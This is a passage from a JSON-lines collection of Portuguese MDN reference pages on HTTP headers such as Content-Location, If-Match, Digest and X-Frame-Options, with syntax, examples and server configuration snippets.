(Expectativa Falhou) se qualquer uma das expectativas não pode ser cumprida.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 5.1.1: Expect | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `417` `Expectation Failed`\n* `100` `Continue`"}
{"title":"Content-Location - HTTP","text":"Content-Location\n================\n\nO cabeçalho **`Content-Location`** indica uma localização alternativa para os dados retornados. O principal uso é para indicar o URL de um recurso transmitido como resultado de uma negociação de conteúdo.\n\n`Location` e `Content-Location` são diferentes. `Location` indica o URL de um redirecionamento, enquanto `Content-Location` indica o URL direto usado para acessar o recurso, sem qualquer outra negociação de conteúdo no futuro. `Location` é um cabeçalho associado com a resposta, enquanto `Content-Location` é associado com os dados retornados. Essa distinção parece abstrata sem exemplos. Essa distinção pode parecer abstrata sem exemplos.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Entity header |\n| Forbidden header name | no |\n\nSintaxe\n-------\n```\n\nContent-Location: <url>\n```\n\nDiretivas\n---------\n\n<url>\n\nUma URL relativa (en-US) (à URL da requisição) ou URL absoluta (en-US).\n\nExemplos\n--------\n\n### Requerindo dados de um servidor em diferentes formatos\n\nDigamos que uma API de um site pode retornar dados em formatos JSON, XML, ou CSV. Se a URL para um documento em particular está em `https://example.com/documents/foo`, o site pode retornar diferentes URLs para `Content-Location` dependendo do cabeçalho `Accept` nas requisições:\n\n| Cabeçalho de requisição | Cabeçalho de resposta |\n| --- | --- |\n| `Accept: application/json, text/json` | `Content-Location: /documents/foo.json` |\n| `Accept: application/xml, text/xml` | `Content-Location: /documents/foo.xml` |\n| `Accept: text/plain, text/*` | `Content-Location: /documents/foo.txt` |\n\nEstas URLs são exemplos — o site pode servir diferentes formatos de arquivos com qualquer padrão URL que ele deseje, como por exemplo, um query string parameter (en-US): `/documents/foo?format=json`, `/documents/foo?format=xml`, entre outros.\n\nEntão o cliente pode lembrar que a versão JSON está disponível em uma URL em particular, evitando negociação de conteúdo da próxima vez que ele requerer aquele documento.\n\nO servidor também pode considerar outros cabeçalhos de negociação de conteúdo, como o `Accept-Language`.\n\n### Apontando para um novo documento (HTTP 201 Created)\n\nDigamos que você está criando um novo *post* no blog através da API do site:\n```\n\nPUT /new/post\nHost: example.com\nContent-Type: text/markdown\n\n# Meu primeiro post no blog!\n\nEu fiz através da API do `example.com`. Espero que ele tenha funcionado.\n```\n\n\nO site retorna uma mensagem de sucesso genérica confirmando que o *post* foi publicado. O servidor especifica onde o novo *post* está com `Content-Location`:\n```\n\nHTTP/1.1 201 Created\nContent-Type: text/plain; charset=utf-8\nContent-Location: /meu-primeiro-post-no-blog\n\n✅ Sucesso!\n```\n\n### Indicando a URL do resultado de uma transação\n\nDigamos que você tem um `<form>` (en-US) para enviar dinheiro para outro usuário do de um site.\n\n\n```html\n<form action=\"/mandar-pagamento\" method=\"post\">\n  <p>\n    <label\n >Para quem você quer enviar o dinheiro?\n      <input type=\"text\" name=\"destinatario\" />\n    </label>\n  </p>\n\n  <p>\n    <label\n >Quanto?\n      <input type=\"number\" name=\"quantidade\" />\n    </label>\n  </p>\n\n  <button type=\"submit\">Enviar Dinheiro</button>\n</form>\n```\n\n\nQuando o formulário é submetido, o site gera um recibo para a transação. O servidor pode usar `Content-Location` para indicar a URL do recibo para acesso futuro.\n```\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=utf-8\nContent-Location: /meus-recibos/38\n\n<!doctype html>\n(Um monte de HTML…)\n\n<p>Você mandou R$38.00 para UsuárioExemplo.</p>\n\n(Mais um monte de HTML…)\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 3.1.4.2: Content-Location | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Location`"}
{"title":"Content-Range - HTTP","text":"Content-Range\n=============\n\nO cabeçalho de resposta HTTP **`Content-Range`** indica em que lugar uma mensagem parcial pertence em uma mensagem completa no corpo.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n| CORS-safelisted response-header (en-US) | não |\n\nSintaxe\n-------\n```\n\nContent-Range: <unit> <range-start>-<range-end>/<size>\nContent-Range: <unit> <range-start>-<range-end>/*\nContent-Range: <unit> */<size>\n```\n\nDiretivas\n---------\n\n<unit>\n\nA unidade nos quais a variação é especificada. Geralmente em `bytes`.\n\n<range-start>\n\nUm inteiro na dada unidade indicando o começo da variação da requisitada.\n\n<range-end>\n\nUm inteiro na dada unidade indicando o fim da variação requisitada.\n\n<size>\n\nO tamanho total do documento (ou `'*'` se desconhecido).\n\nExemplos\n--------\n```\n\nContent-Range: bytes 200-1000/67589\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7233, sessão 4.2: Content-Range | Hypertext Transfer Protocol (HTTP/1.1): Range Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `If-Range`\n* `Range`\n* `Content-Type`\n* `206` `Partial Content`\n* `416` `Range Not Satisfiable`"}
{"title":"DPR - HTTP","text":"DPR\n===\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO cabeçalho **`DPR`** é um cabeçalho de requisição *Client Hints (en-US)* que representa a razão de pixeis do dispositivo do cliente, por isso (DPR)(*device pixel ratio*), que é o número de pixeis físicos do dispositivo correspondendo a cada pixel CSS.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | ? |\n\n**Nota:** *Client Hints* são acessíveis somente em origens seguras (via TLS). Servidor deve optar em receber um cabeçalho `DPR` do cliente enviando cabeçalhos de resposta `Accept-CH` e `Accept-CH-Lifetime`.\n\nSintaxe\n-------\n```\n\nDPR: <number>\n```\n\nExemplos\n--------\n\nO servidor primeiro optar por receber o cabeçalho `DPR` enviando os cabeçalhos de resposta `Accept-CH` contendo `DPR` e `Accept-CH-Lifetime`.\n```\n\nAccept-CH: DPR\nAccept-CH-Lifetime: 86400\n```\n\n\nEntão as requisições subsequentes do cliente podem enviar o cabeçalho `DPR` de volta:\n```\n\nDPR: 1.0\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Accept-CH`\n* `Accept-CH-Lifetime`\n* `Vary`"}
{"title":"From - HTTP","text":"From\n====\n\nO cabeçalho de requisição **`From`** contém um endereço de email da Internet para um usuário humano que controla o agente de usuário requisitante poder enviar uma mensagem.\n\nSe você está rodando um agente de usuário robótico (e.g. um *crawler*), o cabeçalho `From` deve ser enviado, para que você possa contatar se problemas ocorrerem em servidores, como por exemplo, o robô estar enviando requisições excessivas, não desejadas ou inválidas.\n\n**Aviso:** Você não deve usar o cabeçalho `From` para controle de acesso ou autenticação.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nFrom: <email>\n```\n\nDirectives\n----------\n\n<email>\n\nUm endereço de email utilizável para mensagens serem enviadas.\n\nExemplos\n--------\n```\n\nFrom: webmaster@example.org\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 5.5.1: From | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Host`"}
{"title":"Location - HTTP","text":"Location\n========\n\nO cabeçalho de resposta **`Location`** indica o URL para qual página deve-se ser redirecionada. Ele só tem significado quando é enviado junto a uma resposta de status `3xx` (redirecionamento) ou `201` (criado).\n\nEm casos de redirecionamento, o método HTTP utilizado para fazer a nova requisição à página apontada pelo cabeçalho `Location` depende do método original e do tipo de redirecionamento:\n\n* Se respostas com status `303` (Veja também) sempre levam ao uso do método `GET`, `307` (Redirecionamento Temporário) e `308` (Redirecionamento Permanente) não mudam o método utilizado na requisição original;\n* `301` (Movido Permanentemente) e `302` (Encontrado) não mudam o método na maior parte das vezes, entretanto agentes de usuário antigos talvez mudem (basicamente você não sabe se eles farão isso).\n\nTodas as respostas com um desses códigos de status enviam um cabeçalho `Location`.\n\nEm casos de recursos de criação, ele indica o URL para o novo recurso criado.\n\n`Location` e `Content-Location` são diferentes: `Location` indica o alvo de redirecionamento (ou URL do novo recurso criado), enquanto `Content-Location` indica o URL direto para ter acesso ao recurso quando negociação de conteúdo acontecer, sem a necessidade de futura negociação de conteúdo. `Location` é um cabeçalho associado com a resposta, enquanto `Content-Location` é associado com a entidade retornada.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nLocation: <url>\n```\n\nDiretivas\n---------\n\n<url>\n\nUma URL relativa (ao URL de requisição) ou absoluta.\n\nExemplos\n--------\n```\n\nLocation: /index.html\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 7.1.2: Location | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Content-Location`\n* Código de status de respostas que incluem o cabeçalho `Location`: `201`, `301`, `302`, `303`, `307`, `308`."}
{"title":"Age - HTTP","text":"Age\n===\n\nO cabeçalho **`Age`** contém o tempo, em segundos, em que o objeto já está no *cache* de um proxy.\n\nO cabeçalho `Age` é normalmente perto de zero. Se `Age: 0`, é provável que ele tenha acabado de ser obtido do servidor de origem; senão, é normalmente calculado como a diferença entre a data corrente do proxy e o cabeçalho genérico `Date` incluído na resposta HTTP.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAge: <delta-seconds>\n```\n\nDiretivas\n---------\n\n<delta-seconds>\n\nUm inteiro não-negativo, representando o tempo em segundos em que o objeto já está no *cache* do proxy.\n\nExemplos\n--------\n```\n\nAge: 24\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7234, sessão 5.1: Age | Hypertext Transfer Protocol (HTTP/1.1): Caching |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Cache-Control`\n* `Expires`"}
{"title":"DNT - HTTP","text":"DNT\n===\n\nO cabeçalho de requisição **`DNT`** (**D**o **N**ot **T**rack) indica a preferência do usuário de permitir ser \"seguido\". Ele indica se o usuário prefere privacidade ao invés de conteúdo personalizado.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nDNT: 0\nDNT: 1\n```\n\nDiretivas\n---------\n\n0\n\nO usuário prefere **permitir** ser seguido no site alvo.\n\n1\n\nO usuário prefere **não permitir** ser seguido no site alvo.\n\nExemplos\n--------\n\n### Lendo status Do Not Track status do JavaScript\n\nA preferência DNT do usuário também pode ser lida do JavaScript usando a propriedade `Navigator.doNotTrack` (en-US):\n\n\n```js\nnavigator.doNotTrack; // \"0\" or \"1\"\n```\n\nEspecificações\n--------------\n\n#### No specification found\n\nNo specification data found for `http.headers.DNT`.  \nCheck for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Navigator.doNotTrack` (en-US)\n* Cabeçalho `Tk`\n* Do Not Track no Wikipedia\n* What Does the \"Track\" in \"Do Not Track\" Mean? – EFF\n* donottrack.us\n* Ajuda das configurações DNT dos navegadores:\n    + Firefox\n    + Chrome"}
{"title":"Allow - HTTP","text":"Allow\n=====\n\nO cabeçalho de resposta **`Allow`** lista um conjunto de métodos suportados pelo recurso.\n\nO cabeçalho deve ser enviado se o servidor responde com um código de resposta `405` `Method Not Allowed`, para indicar quais métodos de requisição podem ser utilizados. Um cabeçalho `Allow` vazio indica que o recurso não permite cabeçalhos de requisição, o que pode acontecer temporariamente para um dado recurso, por exemplo.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Entity header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAllow: <métodos-http>\n```\n\nDiretivas\n---------\n\n<métodos-http>\n\nUma lista de métodos de requisição HTTP separados por vírgula.\n\nExemplos\n--------\n```\n\nAllow: GET, POST, HEAD\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 7.4.1: Allow | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVeja também\n-----------\n\n* `405`\n* `Server`"}
{"title":"Digest - HTTP","text":"Digest\n======\n\nO cabeçalho de resposta HTTP **`Digest`** provém uma digest (en-US) do recurso requisitado.\n\nNos termos da RFC 7231 esta é a *representação selecionada* de um recurso. A representação selecionada depende dos valores dos cabeçalhos `Content-Type` e `Content-Encoding`: então um único recurso pode ter diversos valores de \"digestão\".\n\nA \"digestão\" é calculada através da representação inteira. A representação em si pode ser:\n\n* totalmente contida no corpo da mensagem de resposta\n* não contida no corpo da mensagem (por exemplo, na resposta para uma requisição `HEAD`)\n* parcialmente contido no corpo da mensagem (por exemplo, em uma resposta para uma requisição de intervalo (en-US)).\n\n|  |  |\n| --- | --- |\n| Tipo do cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nDigest: <digest-algorithm>=<digest-value>\n\nDigest: <digest-algorithm>=<digest-value>,<digest-algorithm>=<digest-value>\n```\n\nDiretivas\n---------\n\n`<digest-algorithm>`\n\nAlgoritmos de digestão suportados são definidos na RFC 3230 e RFC 5843, e incluem `SHA-256` e `SHA-512`. Alguns dos algoritmos suportados, incluindo `unixsum` e `MD5` são sujeitos a colisões e não são recomendados para aplicações onde resistência à colisções é importante.\n\n`<digest-value>`\n\nO resultado de aplicação do algoritmo de digestão na representação do recurso e codificando o resultado. A escolha do algoritmo de digestão também determina a codificação a ser usada: por exemplo `SHA-256` usa codificação *base64*.\n\nExemplos\n--------\n```\n\nDigest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=\nDigest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=,unixsum=30637\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| draft-ietf-httpbis-digest-headers-latest | Resource Digests for HTTP |\n\nEste cabeçalho foi originalmente definido na RFC 3230, mas a definição de \"representação selecionada\" na RFC 7231 fez com que a definição original ficasse inconsistente com as especificações atuais do HTTP. Quando lançado, o rascunho de \"Digestão de recursos para HTTP\" tornará a RFC 3230 obsoleta e atualizará o padrão para ser consistente.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Want-Digest`\n* Requisições de intervalo HTTP (en-US)\n* `206 Partial Content`"}
{"title":"If-Match - HTTP","text":"If-Match\n========\n\nO cabeçalho de requisição HTTP **`If-Match`** faz a requisição condicional. Para métodos `GET` e `HEAD`, o servidor irá mandar de volta o recurso requisitado somente se ele corresponde com uma das `ETags` listadas. Para `PUT` e outros métodos não-seguros, ele somente irá fazer o upload do recurso neste caso.\n\nA comparação com a `ETag` guardada usa o *algoritmo de comparação forte*, significa dois arquivos são considerados idênticos *byte* a *byte* somente. Se a `ETag` listada com o prefixo `W/` indicando a *tag* como uma entidade fraca, ele nunca irá combinar usando este algoritmo de comparação.\n\nExistem dois casos de uso comuns:\n\n* Para os métodos `GET` e `HEAD`, utilizado em combinação com o cabeçalho `Range`, ele pode garantir que novos intervalos requisitados venham do mesmo recurso ao invés do anterior. Se ele não corresponde, então uma resposta `416` (Range Not Satisfiable) é retornarda.\n* Para outros métodos, e em particular para o método `PUT`, `If-Match` pode ser usado para previnir o problema de perde de atualização. Ele pode checar se a modificação de um recurso que o usuário que fazer o upload não sobrescreverá outra modificação que foi feita desde que o recurso original foi buscado. Se a requisição não puder ser completada, a resposta `412` (Precondition Failed) é retornada.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nIf-Match: <etag_value>\nIf-Match: <etag_value>, <etag_value>, …\n```\n\nDiretivas\n---------\n\n<etag\\_value>\n\n*Tags* de entidade que representam unicamente os recursos requisitados. Eles são uma cadeia de caracteres ASCII colocados entre aspas duplas (como `\"675af34563dc-tr34\"`). Elas podem ser prefixadas por `W/` para indicar que elas são \"fracas\", i.e. que elas representam o recurso semânticamente, mas não byte-por-byte. Entretanto, em um cabeçalho **`If-Match`**, *tags* de entidade fraca nunca irão corresponder.\n\n`*`\n\nO asterísco é um valor especial representando qualquer recurso.\n\nExemplos\n--------\n```\n\nIf-Match: \"bfc13a64729c4290ef5b2c2730249c88ca92d82d\"\n\nIf-Match: \"67ab43\", \"54ed21\", \"7892dd\"\n\nIf-Match: *\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7232, sessão 3.1: If-Match | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `ETag`\n* `If-Unmodified-Since`\n* `If-Modified-Since`\n* `If-None-Match`\n* `416` `Range Not Satisfiable`\n* `412` `Precondition Failed`"}
{"title":"Early-Data - HTTP","text":"Early-Data\n==========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO cabeçalho **`Early-Data`** é colocado por um intermediário para indicar que a requisição foi transportada em dados precoces do TLS (TLS *early data*) (en-US), e também indica que o intermediário entende o código de status `425 (Too Early)`.\n\nO cabeçalho `Early-Data` **não é** definido pelo gerador da requisição (i.e., um navegador).\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSitnaxe\n-------\n```\n\nEarly-Data: 1\n```\n\nExemplos\n--------\n```\n\nGET /resource HTTP/1.0\nHost: example.com\nEarly-Data: 1\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 8470, sessão 5.1: The Early-Data Header Field | Using Early Data in HTTP |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"X-Frame-Options - HTTP","text":"X-Frame-Options\n===============\n\nO cabeçalho de resposta HTTP **`X-Frame-Options`** pode ser usado para indicar se o navegador deve ou não renderizar a página em um `<frame>` (en-US), `<iframe>`, `<embed>` ou `<object>` (en-US). Sites podem usar isso para evitar ataques *click-jacking (en-US)*, assegurando que seus conteúdos não sejam embebedados em outros sites.\n\nA segurança adicionada é provida somente se o usuário acessando o documento está usando o navegador que suporte `X-Frame-Options`.\n\n**Nota:** O cabeçalho HTTP `Content-Security-Policy`possui uma diretiva `frame-ancestors` que torna este cabeçalho obsoleto para navegadores que o suportam.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n\nExistem duas diretivas possíveis para `X-Frame-Options`:\n```\n\nX-Frame-Options: DENY\nX-Frame-Options: SAMEORIGIN\n```\n\n### Diretivas\n\nSe você especifica `DENY`, não somente tentativas em carregar a página em um enquadramento irão falhar quando carregadas de outros sites, mas irão falhar também se forem carregadas do mesmo site. Por outro lado, se você especifica `SAMEORIGIN`, você ainda pode usar a página em um enquadramento enquanto o site que o está incluindo no enquadramento seja o mesmo servindo a página.\n\n`DENY`\n\nA página não pode ser mostrada em um enquadramento, independente do site que esteja tentando fazer isso.\n\n`SAMEORIGIN`\n\nA página só pode ser exibida em um enquadramento se for da mesma origem da página em si. A especificação deixa a cargo do navegador para decidir se esta opção se aplica ao nível mais alto, ao parente, ou à cadeia inteira, entretanto é discutido se a opção não é muito útil a não ser que todos os ancestrias estejam na mesma origem (veja Erro do Firefox 725490). Veja também Browser compatibility para mais detalhes de suporte.\n\n`ALLOW-FROM uri`\n\nEsta é uma diretiva obsoleta que não funciona mais em navegadores modernos. Não a utilize. Em navegadores legado que a suportam, a página pode ser mostrada em um enquadramento somente na URI de origem especificada. Note que implementação legada do Firefox isso ainda sofria do mesmo problema que a `SAMEORIGIN` sofreu — ela não checa se os enquadramentos ancestrais para ver se eles são da mesma origem. O cabeçalho HTTP `Content-Security-Policy` tem a diretiva `frame-ancestors` que você pode usar ao invés disso.\n\nExemplos\n--------\n\n**Nota:** Colocar X-Frame-Options dentro de um elemento `<meta>` é inútil! Por enquanto, `<meta http-equiv=\"X-Frame-Options\" content=\"deny\">` não tem nenhum efeito. Não o utilize! `X-Frame-Options` funciona somente colocando a configuração através do cabeçalho HTTP, como nos exemplos abaixo.\n\n### Configurando o Apache\n\nPara configurar o Apache para que ele envie o cabeçalho `X-Frame-Options` para todas as páginas, adicione isto nas configurações do seu site:\n```\n\nHeader always set X-Frame-Options \"SAMEORIGIN\"\n```\n\n\nPara configurar o Apache para colocar o `X-Frame-Options` como DENY, adicione isto nas configurações do seu site:\n```\n\nHeader set X-Frame-Options \"DENY\"\n```\n\n### Configurando o nginx\n\nPara configurar o nginx para enviar o cabeçalho `X-Frame-Options`, adicione isto na configuração do seu http, servidor ou localização:\n```\n\nadd_header X-Frame-Options SAMEORIGIN always;\n```\n\n### Configurando o IIS\n\nPara configurar o IIS para enviar o cabeçalho `X-Frame-Options`, adicione isto no arquivo `Web.config` do seu site:\n\n\n```xml\n<system.webServer>\n  ...\n\n  <httpProtocol>\n    <customHeaders>\n      <add name=\"X-Frame-Options\" value=\"SAMEORIGIN\" />\n    </customHeaders>\n  </httpProtocol>\n\n  ...\n</system.webServer>\n```\n\n\nOu veja este artigo de suporte de configuração da Microsoft utilizando a interface de usuário IIS Manager.\n\n### Configurando o HAProxy\n\nPara configurar o HAProxy para enviar o cabeçalho `X-Frame-Options`, adicione isto na sua configuração do seu *front-end*, *listen*, ou *backend*:\n```\n\nrspadd X-Frame-Options:\\ SAMEORIGIN\n```\n\n\nAlternativamente, em versões mais novas:\n```\n\nhttp-response set-header X-Frame-Options SAMEORIGIN\n```\n\n### Configurando o Express\n\nPara configurar o Express para enviar o cabeçalho `X-Frame-Options`, você pode usar o helmet que utiliza o frameguard para colocar o cabeçalho. Adicione isto na configuração do seu servidor:\n\n\n```js\nconst helmet = require(\"helmet\");\nconst app = express();\napp.use(helmet.frameguard({ action: \"SAMEORIGIN\" }));\n```\n\n\nAlternativamente, você pode usar o *frameguard* diretamente:\n\n\n```js\nconst frameguard = require(\"frameguard\");\napp.use(frameguard({ action: \"SAMEORIGIN\" }));\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7034 | HTTP Header Field X-Frame-Options |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `frame-ancestors` (CSP)\n* Cabeçalho HTTP X-Frame-Options (HTTP Header Field X-Frame-Options) - RFC 7034\n* Defesas contra ClickJacking (ClickJacking Defenses) - IEBlog\n* Combatendo ClickJacking com X-Frame-Options (Combating ClickJacking with X-Frame-Options) - IEInternals"}
{"title":"Accept-CH-Lifetime - HTTP","text":"Accept-CH-Lifetime\n==================\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO cabeçalho **`Accept-CH-Lifetime`** é colocado pelo servidor para especificar a persistência do valor do cabeçalho `Accept-CH`, que especifica para quais cabeçalhos Client Hints (en-US) o cliente deve incluir nas suas requisições subsequentes.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | ? |\n\n**Nota:** Client Hints são acessíveis somente em origens seguras (via TLS). Os cabeçalhos Accept-CH e Accept-CH-Lifetime devem ser persistidos por todas as requisições seguras para assegurar que os Client Hints são enviados com segurança.\n\nSintaxe\n-------\n```\n\nAccept-CH-Lifetime: <age>\n```\n\nExemplos\n--------\n```\n\nAccept-CH: Viewport-Width, DPR\nAccept-CH-Lifetime: 86400\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Accept-CH`\n* `Vary`"}
{"title":"If-Unmodified-Since - HTTP","text":"If-Unmodified-Since\n===================\n\nA requisição **`If-Unmodified-Since`** do cabeçalho HTTP realiza uma requisição condicional: o servidor enviará de volta o recurso solicitado ou o aceitará no caso de um `POST` ou non-safe método, somente se não tiver sido modificado pela última vez após a data especificada. Se a solicitação tiver sido modificada após a data já especificada, a resposta será um erro `412` (Precondition Failed).\n\nA requisição\n\nThere are two common use cases:\n\n* In conjunction with non-safe methods, like `POST`, it can be used to implement an optimistic concurrency control, like done by some wikis: editions are rejected if the stored document has been modified since the original has been retrieved.\n* In conjunction with a range request with a `If-Range` header, it can be used to ensure that the new fragment requested comes from an unmodified document.\n\n|  |  |\n| --- | --- |\n| Header type | Request header |\n| Forbidden header name | no |\n\nSintaxe\n-------\n```\n\nIf-Unmodified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT\n```\n\nDiretivas\n---------\n\n<day-name>\n\nOne of \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", or \"Sun\" (case-sensitive).\n\n<day>\n\n2 digit day number, e.g. \"04\" or \"23\".\n\n<month>\n\nOne of \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\" (case sensitive).\n\n<year>\n\n4 digit year number, e.g. \"1990\" or \"2016\".\n\n<hour>\n\n2 digit hour number, e.g. \"09\" or \"23\".\n\n<minute>\n\n2 digit minute number, e.g. \"04\" or \"59\".\n\n<second>\n\n2 digit second number, e.g. \"04\" or \"59\".\n\n`GMT`\n\nGreenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.\n\nExemplos\n--------\n```\n\nIf-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7232, sessão 3.4: If-Unmodified-Since | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Last-Modified`\n* `If-Modified-Since`\n* `If-Match`\n* `If-None-Match`\n* `If-Range`\n* `412` `Precondition Failed`"}
{"title":"Server-Timing - HTTP","text":"Server-Timing\n=============\n\nO cabeçalho **`Server-Timing`** comunica uma ou mais métricas e descrições para um dado ciclo de requisição e resposta. Ele é usado para dar uma visão superficial de qualquer métrica de tempo do servidor *backend* (e.g. leitura e escrita de banco de dados, tempo de CPU, acesso ao sistema de arquivos, etc.) nas ferramentas do desenvolvedor no navegador do usuário ou na interface `PerformanceServerTiming` (en-US).\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n\nA sintaxe do cabeçalho `Server-Timing` permite você comunicar métricas de diversas formas: nome da métrica do servidor somente, métrica com valor, métrica com valor e descrição, métrica com descrição.\n\nA especificação aconselha que nomes e descrições devem ser mantidas o mais curtas possível (use abreviações e omita valores opicionais quando possível) para minimizar o sobrecarregamento HTTP.\n```\n\n// Métrica único sem valor\nServer-Timing: missedCache\n\n// Métrica única com valor\nServer-Timing: cpu;dur=2.4\n\n// Métrica única com descrição e valor\nServer-Timing: cache;desc=\"Cache Read\";dur=23.2\n\n// Duas métricas com valor\nServer-Timing: db;dur=53, app;dur=47.2\n\n// Server-Timing como reboque (trailer)\nTrailer: Server-Timing\n--- response body ---\nServer-Timing: total;dur=123.4\n```\n\nPrivacidade e segurança\n-----------------------\n\nO cabeçalho `Server-Timing` pode expôr potenciais aplicações sensíveis e informação de infraestrutura. Considere controlar quais métricas são retornadas, quando e para quem no lado do servidor. Por exemplo, você pode mostrar métricas somente para usuários autenticados e nada para o público.\n\nInterface PerformanceServerTiming\n---------------------------------\n\nEm adição tendo o cabeçalho `Server-Timing` de métricas aparecendo nas ferramentas de desenvolvedor do navegador, a interface `PerformanceServerTiming` (en-US) habilita ferramentas para automaticamente coletar e processar métricas do JavaScript. Essa interface é restrita para a mesma origem, mas você pode usar o cabeçalho `Timing-Allow-Origin` para especificar domínios que 